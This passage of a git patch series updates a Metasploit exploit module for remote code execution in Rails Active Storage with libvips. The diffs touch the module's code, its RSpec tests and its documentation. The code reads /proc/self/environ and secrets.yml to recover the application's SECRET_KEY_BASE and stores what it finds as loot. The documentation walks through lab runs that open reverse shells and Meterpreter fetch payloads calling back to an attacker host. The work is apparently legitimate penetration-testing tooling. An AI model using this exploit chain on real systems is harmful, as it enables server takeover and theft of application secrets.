eq( '/rails/active_storage/representations/redirect/blob/variation/safe.png' @@ -554,13 +752,12 @@ def striped_pixels(layout, source) sanitized_requests = [] sanitized_responses = [storage_redirect, final_response] - expect(exploit).to receive(:send_request_cgi).once do |options, timeout| + expect(exploit).to receive(:send_request_cgi).once do |options| expect(options).to include( 'method' => 'GET', 'uri' => '/rails/active_storage/representations/redirect/blob/variation/image.png', 'cookie' => 'session=application-secret' ) - expect(timeout).to eq(20) application_redirect end allow(exploit).to receive(:send_sanitized_request) do |options| @@ -694,6 +891,22 @@ def striped_pixels(layout, source) end end + describe '#sanitized_request_timeout' do + it 'uses a finite fallback when HttpClientTimeout is unset or non-positive' do + [nil, 0, -1].each do |configured_timeout| + exploit.datastore['HttpClientTimeout'] = configured_timeout + + expect(exploit.send(:sanitized_request_timeout)).to eq(20) + end + end + + it 'honors a positive HttpClientTimeout' do + exploit.datastore['HttpClientTimeout'] = 7.5 + + expect(exploit.send(:sanitized_request_timeout)).to eq(7.5) + end + end + describe '#trigger_variation' do before do exploit.datastore['RHOST'] = 'app.example' @@ -702,8 +915,8 @@ def striped_pixels(layout, source) exploit.datastore['VHOST'] = 'app.example' end - it 'treats definitive client-side rejection statuses as trigger failures' do - [400, 401, 403, 404, 405, 414, 422, 429, 499].each do |status| + it 'treats redirects and definitive client-side rejection statuses as trigger failures' do + [300, 301, 302, 303, 307, 308, 400, 401, 403, 404, 405, 414, 422, 429, 499].each do |status| allow(exploit).to receive(:send_request_cgi).and_return(http_response(status)) expect do @@ -778,24 +991,45 @@ def secrets_yml_enc(yaml, key_hex) plaintext = exploit.send(:decrypt_rails_credentials, envelope, secrets_key) unwrapped = exploit.send(:unwrap_marshaled_string, plaintext) - expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, unwrapped, environments)).to eq('c' * 128) + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, unwrapped, environments)).to eq(['c' * 128]) end it 'reads environment-keyed plaintext secrets.yml and skips unrendered ERB' do yaml = "production:\n secret_key_base: <%= ENV[\"SECRET_KEY_BASE\"] %>\ndevelopment:\n secret_key_base: #{'d' * 128}\n" - expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, yaml, environments)).to eq('d' * 128) + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, environments)).to eq(['d' * 128]) + end + + it 'applies environment values over shared values and retains the shared fallback' do + yaml = "shared:\n secret_key_base: #{'s' * 128}\nproduction:\n secret_key_base: #{'p' * 128}\ndevelopment:\n other: value\n" + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, environments)).to eq(['p' * 128, 's' * 128]) end - it 'resolves the sections in shared-then-environment order' do - yaml = "production:\n secret_key_base: #{'p' * 128}\ndevelopment:\n secret_key_base: #{'d' * 128}\n" + it 'supports safe YAML aliases used for shared secrets' do + yaml = "shared: &shared\n secret_key_base: #{'s' * 128}\nproduction:\n <<: *shared\n" + + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, yaml, ['production'])).to eq(['s' * 128]) + end + + it 'tries later environment candidates after a signature mismatch' do + production_secret = 'p' * 128 + development_secret = 'd' * 128 + yaml = "production:\n secret_key_base: #{production_secret}\ndevelopment:\n secret_key_base: #{development_secret}\n" + context = { representation: { signed_id: 'signed-id' } } + validated = [development_secret, '/proc/self/cwd/config/secrets.yml', 'sha1', { encoded: 'token' }] + allow(exploit).to receive(:try_read_text_file) do |_context, path, **_kwargs| + path == '/proc/self/cwd/config/secrets.yml' ? yaml.b : nil + end + expect(exploit).to receive(:validated_secret_candidate).ordered.with(production_secret, '/proc/self/cwd/config/secrets.yml', 'signed-id').and_return(nil) + expect(exploit).to receive(:validated_secret_candidate).ordered.with(development_secret, '/proc/self/cwd/config/secrets.yml', 'signed-id').and_return(validated) - expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, yaml, environments)).to eq('p' * 128) + expect(exploit.send(:recover_legacy_secrets, context, %w[production development], [])).to eq(validated) end - it 'returns nil for documents with no usable secret and for malformed YAML' do - expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, "production:\n a: 1\n", environments)).to be_nil - expect(exploit.send(:extract_secret_key_base_from_secrets_yaml, '!!invalid: [', environments)).to be_nil + it 'returns an empty array for documents with no usable secret and for malformed YAML' do + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, "production:\n a: 1\n", environments)).to be_empty + expect(exploit.send(:secret_key_base_candidates_from_secrets_yaml, '!!invalid: [', environments)).to be_empty end end From 3d8831b3a1fc660442a6ac1573ea10f62b45b38f Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Thu, 6 Aug 2026 18:16:13 +0100 Subject: [PATCH 8/9] final tweaks (hopefully).. retested etc --- .../http/rails_activestorage_vips_rce.md | 40 +++-- .../http/rails_activestorage_vips_rce.rb | 27 +-- .../http/rails_activestorage_vips_rce_spec.rb | 158 ++++++++++++++++++ 3 files changed, 198 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md index 997b7b03669be..f8823fe544ee0 100644 --- a/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md +++ b/documentation/modules/exploit/multi/http/rails_activestorage_vips_rce.md @@ -24,11 +24,14 @@ libvips 8.13 or later and ruby-vips 2.2.1 or later; older libvips versions canno block the affected operations. `image_processing` 2.0 and later also blocks untrusted Vips operations when its Vips backend loads. -This module additionally requires a libvips build with MATLAB/libmatio support, -access to the standard Active Storage direct upload endpoint, and a genuine -signed variation key scraped from any page that renders an Active Storage -representation. Debian Bookworm's `libvips-dev` package provides the loader used -by the tested setup. +The automatic file-read and secret-recovery path additionally requires a libvips +build with MATLAB/libmatio support and access to the standard Active Storage +direct-upload endpoint. It also requires a genuine signed variation key. The +module can reuse a key supplied through `VARIATION_KEY` or found through +`REPRESENTATIONURI` / `LANDINGURI`, or obtain one through the configured safe-form +fallback. Debian Bookworm's `libvips-dev` package provides the loader used by the +tested setup. The `SECRET_KEY_BASE` shortcut skips the MATLAB/libmatio file-read +stage, but still requires the direct-upload endpoint and a CSRF token. ### File-read transport @@ -472,8 +475,8 @@ environment or contain `SECRET_KEY_BASE`. Default: `65536`. ### CredentialsMaxBytes -The maximum number of bytes read from each encrypted Rails credentials file. -Default: `262144`. +The maximum number of bytes read from each Rails credentials or legacy secrets +file. Default: `262144`. ## Side Effects @@ -500,7 +503,8 @@ The primary advisory is ### Rails 8.0.5 on Debian Bookworm x86-64, default Unix reverse shell The following run used the Docker lab above. It includes an explicit check, -session proof, cleanup, and an immediate successful rerun. +session proof, termination of each opened session, and an immediate successful +rerun. ``` msf > use exploit/multi/http/rails_activestorage_vips_rce @@ -570,10 +574,12 @@ msf exploit(multi/http/rails_activestorage_vips_rce) > sessions -k 2 ### Rails 8.0.5 on Debian Bookworm x86-64, default Linux Meterpreter fetch payload -Target 1 used `FETCH_DELETE true`, the filename -`msf-vips-fetch-cleanup-test`, `FETCH_WRITABLE_DIR /tmp`, and the default -`cmd/linux/http/x64/meterpreter/reverse_tcp` payload. The target-side file -check was performed after the fetch adapter's randomized deletion delay. +This run used `RHOSTS 127.0.0.1`, `RPORT 3003`, `TARGETURI /`, target 1, +`LHOST` / `FETCH_SRVHOST 172.17.0.1`, `LPORT 4445`, `FETCH_SRVPORT 8082`, +`FETCH_DELETE true`, `FETCH_FILENAME msf-vips-fetch-cleanup-test`, +`FETCH_WRITABLE_DIR /tmp`, and the default +`cmd/linux/http/x64/meterpreter/reverse_tcp` payload. The target-side file check +was performed after the fetch adapter's randomized deletion delay. ``` msf exploit(multi/http/rails_activestorage_vips_rce) > check @@ -604,11 +610,15 @@ meterpreter > background [*] Backgrounding session 3... ``` +This captured transcript ends after backgrounding session 3; terminate the +session with `sessions -k 3` before stopping the lab. + ### Rails 8.0.5 on Debian Bookworm x86-64, native Ruby (eval) target -This run started from a fresh module instance with `AutoCheck false`, target 2, -the `ruby/shell_reverse_tcp` payload, and the lab's documented -`SECRET_KEY_BASE`. +This run started from a fresh module instance with `RHOSTS 127.0.0.1`, +`RPORT 3003`, `TARGETURI /`, `AutoCheck false`, target 2, the +`ruby/shell_reverse_tcp` payload, `LHOST 172.17.0.1`, `LPORT 4446`, and the lab's +documented `SECRET_KEY_BASE`. ``` msf exploit(multi/http/rails_activestorage_vips_rce) > run -z diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index 93793460f1778..febbb92a63707 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -17,7 +17,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report prepend Msf::Exploit::Remote::AutoCheck EXPLOIT_DATA_DIR = ['exploits', 'CVE-2026-66066'].freeze @@ -332,7 +331,7 @@ def initialize(info = {}) register_advanced_options( [ OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', DEFAULT_ENVIRONMENT_MAX_BYTES]), - OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each encrypted credentials file', DEFAULT_CREDENTIALS_MAX_BYTES]) + OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', DEFAULT_CREDENTIALS_MAX_BYTES]) ] ) end @@ -1351,6 +1350,8 @@ def direct_upload(csrf_token:, filename:, content_type:, content:) raise FlowError, "Direct upload create returned HTTP #{res.code}" unless res.code == 200 json = res.get_json_document + raise FlowError, 'Direct upload response was not a JSON object' unless json.is_a?(Hash) + signed_id = json['signed_id'] direct = json['direct_upload'] raise FlowError, 'Direct upload response did not include a signed_id' if signed_id.blank? @@ -1361,6 +1362,8 @@ def direct_upload(csrf_token:, filename:, content_type:, content:) raise FlowError, 'Direct upload response did not include an upload URL' if upload_url.blank? raise FlowError, 'Direct upload response did not include upload headers' unless upload_headers.is_a?(Hash) + @active_storage_service = report_active_storage_service + upload_res = send_request_to_url(upload_url, method: 'PUT', data: content, headers: upload_headers) raise FlowError, 'No response while uploading the blob content' unless upload_res unless [200, 201, 204].include?(upload_res.code) @@ -1436,7 +1439,7 @@ def target_request(method, uri, options = {}) def send_request_to_url(url, method:, data:, headers:) parsed = URI.parse(url) - unless %w[http https].include?(parsed.scheme) && parsed.host + unless %w[http https].include?(parsed.scheme) && parsed.hostname raise FlowError, 'Direct upload URL was not an HTTP(S) URL' end raise FlowError, 'Direct upload URL contained credentials' if parsed.user || parsed.password @@ -1462,10 +1465,10 @@ def send_request_to_url(url, method:, data:, headers:) 'data' => data, 'headers' => request_headers, 'cookie' => '', - 'rhost' => parsed.host, + 'rhost' => parsed.hostname, 'rport' => parsed.port, 'SSL' => parsed.scheme == 'https', - 'vhost' => parsed.host + 'vhost' => parsed.hostname ) rescue URI::InvalidURIError => e raise FlowError, "Direct upload URL was invalid: #{e.message}" @@ -1473,7 +1476,7 @@ def send_request_to_url(url, method:, data:, headers:) def request_representation(path) current = URI.parse(path) - if current.host + if current.hostname request_uri(current.to_s) else current = URI.parse(full_uri(request_uri(current.to_s))) @@ -1491,10 +1494,10 @@ def request_representation(path) 'method' => 'GET', 'uri' => uri, 'headers' => { 'Accept' => 'image/png', 'Connection' => 'close' }, - 'rhost' => current.host, + 'rhost' => current.hostname, 'rport' => current.port, 'SSL' => current.scheme == 'https', - 'vhost' => current.host + 'vhost' => current.hostname ) end return res unless res&.redirect? && res.redirection @@ -1548,7 +1551,7 @@ def send_sanitized_request(options) end def validate_http_url!(parsed, label) - unless %w[http https].include?(parsed.scheme) && parsed.host + unless %w[http https].include?(parsed.scheme) && parsed.hostname raise FlowError, "#{label} was not an HTTP(S) URL" end raise FlowError, "#{label} contained credentials" if parsed.user || parsed.password @@ -1561,7 +1564,7 @@ def sanitized_request_timeout def same_target_url?(parsed) target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) - target_hosts.include?(parsed.host.downcase) && parsed.port == rport && (parsed.scheme == 'https') == ssl + target_hosts.include?(parsed.hostname.downcase) && parsed.port == rport && (parsed.scheme == 'https') == ssl end def substitute_representation_blob(path, signed_blob_id, filename) @@ -1636,10 +1639,10 @@ def representation_route_index(parts) def request_uri(path_or_url) parsed = URI.parse(path_or_url) - if parsed.host + if parsed.hostname target_hosts = [rhost, vhost].compact.reject(&:blank?).map(&:downcase) expected_ssl = parsed.scheme == 'https' - unless target_hosts.include?(parsed.host.downcase) && parsed.port == rport && expected_ssl == ssl + unless target_hosts.include?(parsed.hostname.downcase) && parsed.port == rport && expected_ssl == ssl raise FlowError, "Application returned a representation URL on a different origin: #{parsed}" end end diff --git a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb index e8f9e13d31374..7b9b1dca327d1 100644 --- a/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb +++ b/spec/modules/exploits/multi/http/rails_activestorage_vips_rce_spec.rb @@ -214,6 +214,31 @@ def striped_pixels(layout, source) end end + describe '#report_vuln' do + it 'links framework-generated vulnerability reports to the Rails service' do + service = double('Rails service') + vulnerability = double('Vulnerability', id: 7) + framework_db = exploit.framework.db + allow(exploit).to receive(:report_active_storage_service).and_return(service) + allow(exploit).to receive(:db).and_return(true) + allow(exploit).to receive(:myworkspace).and_return(:test_workspace) + allow(exploit).to receive(:mytask).and_return(nil) + expect(framework_db).to receive(:report_vuln).with( + hash_including( + host: '192.0.2.10', + name: exploit.fullname, + service: service + ) + ).and_return(vulnerability) + allow(framework_db).to receive(:report_vuln_attempt) + + result = exploit.report_vuln(host: '192.0.2.10', name: exploit.fullname) + + expect(result).to be(vulnerability) + expect(exploit.instance_variable_get(:@vulnerability_reported)).to be(true) + end + end + describe 'target defaults' do it 'removes the Linux fetch artifact after execution' do expect(exploit.targets.fetch(1).default_options.fetch('FETCH_DELETE')).to be(true) @@ -621,6 +646,38 @@ def striped_pixels(layout, source) end end + describe '#recover_secret_key_base' do + it 'links recovered environment loot to the Rails service' do + exploit.datastore['RHOST'] = '192.0.2.10' + service = double('Rails service') + bytes = "SECRET_KEY_BASE=validated-secret\x00".b + token_info = { encoded: 'token' } + validated = ['validated-secret', '/proc/self/environ', 'sha256', token_info] + context = { + mode: :raw, + representation: { signed_id: 'signed-id' } + } + allow(exploit).to receive(:try_read_text_file) do |_read_context, path, **_options| + path == '/proc/self/environ' ? bytes : nil + end + allow(exploit).to receive(:validated_secret_candidate) + .with('validated-secret', '/proc/self/environ', 'signed-id') + .and_return(validated) + allow(exploit).to receive(:report_active_storage_service).and_return(service) + expect(exploit).to receive(:store_loot).with( + 'rails.process.environ', + 'application/octet-stream', + exploit.rhost, + bytes, + 'environ.bin', + 'Recovered /proc/self/environ bytes', + service + ).and_return('/tmp/rails-process-environ.bin') + + expect(exploit.send(:recover_secret_key_base, context)).to eq(validated) + end + end + describe '#representation_paths' do it 'extracts modern and legacy representation URLs from src and srcset attributes' do doc = Nokogiri::HTML(<<~HTML) @@ -734,6 +791,60 @@ def striped_pixels(layout, source) end end + describe '#direct_upload' do + it 'rejects successful responses whose JSON root is not an object' do + expect(exploit).not_to receive(:send_request_to_url) + + ['[]', 'null', 'true'].each do |body| + allow(exploit).to receive(:send_request_cgi).and_return(http_response(200, body: body)) + + expect do + exploit.send( + :direct_upload, + csrf_token: 'csrf', + filename: 'image.png', + content_type: 'image/png', + content: 'PNG' + ) + end.to raise_error(flow_error, /JSON object/i) + end + end + + it 'reports Active Storage before uploading the blob content' do + service = double('Rails service') + create_response = http_response( + 200, + body: { + signed_id: 'signed-id', + direct_upload: { + url: 'https://storage.example/object', + headers: {} + } + }.to_json + ) + upload_response = http_response(204) + expect(exploit).to receive(:send_request_cgi).ordered.and_return(create_response) + expect(exploit).to receive(:report_active_storage_service).ordered.and_return(service) + expect(exploit).to receive(:send_request_to_url).ordered.with( + 'https://storage.example/object', + method: 'PUT', + data: 'PNG', + headers: {} + ).and_return(upload_response) + + signed_id = exploit.send( + :direct_upload, + csrf_token: 'csrf', + filename: 'image.png', + content_type: 'image/png', + content: 'PNG' + ) + + expect(signed_id).to eq('signed-id') + expect(exploit.instance_variable_get(:@active_storage_service)).to be(service) + end + end + describe '#request_representation' do before do exploit.datastore['RHOST'] = 'app.example' @@ -791,6 +902,53 @@ def striped_pixels(layout, source) ) end.to raise_error(flow_error, /redirect limit/i) end + + it 'recognizes an absolute IPv6 literal URL as same-origin' do + exploit.datastore['RHOST'] = '2001:db8::10' + exploit.datastore['RPORT'] = 3003 + exploit.datastore['SSL'] = false + exploit.datastore['VHOST'] = nil + response = http_response(200) + + expect(exploit).not_to receive(:send_sanitized_request) + expect(exploit).to receive(:send_request_cgi).with( + hash_including( + 'method' => 'GET', + 'uri' => '/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + ).and_return(response) + + result = exploit.send( + :request_representation, + 'http://[2001:db8::10]:3003/rails/active_storage/representations/redirect/blob/variation/image.png' + ) + + expect(result).to be(response) + end + end + + describe '#send_request_to_url' do + it 'passes an unbracketed IPv6 hostname to the sanitized HTTP client' do + response = http_response(204) + expect(exploit).to receive(:send_sanitized_request).with( + hash_including( + 'rhost' => '2001:db8::20', + 'rport' => 443, + 'SSL' => true, + 'vhost' => '2001:db8::20' + ) + ).and_return(response) + + result = exploit.send( + :send_request_to_url, + 'https://[2001:db8::20]/object', + method: 'PUT', + data: 'content', + headers: {} + ) + + expect(result).to be(response) + end end describe '#submit_safe_upload' do From 883383e244157df15ef46579787a92c78499d999 Mon Sep 17 00:00:00 2001 From: Jonah Burgess <12751872+Crypto-Cat@users.noreply.github.com> Date: Thu, 6 Aug 2026 18:20:46 +0100 Subject: [PATCH 9/9] clarified vuln discovery vs module author! --- .../multi/http/rails_activestorage_vips_rce.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb index febbb92a63707..03ffc0c7e4691 100644 --- a/modules/exploits/multi/http/rails_activestorage_vips_rce.rb +++ b/modules/exploits/multi/http/rails_activestorage_vips_rce.rb @@ -232,11 +232,11 @@ def initialize(info = {}) ImageProcessing 2.x blocks this chain. }, 'Author' => [ - '0xacb', - 's3np41k1r1t0', - 'castilho', - 'RyotaK', - 'Crypto-Cat' + '0xacb', # Vulnerability discovery and research + 's3np41k1r1t0', # Vulnerability discovery and research + 'castilho', # Vulnerability discovery and research + 'RyotaK', # Independent vulnerability discovery + 'Crypto-Cat' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [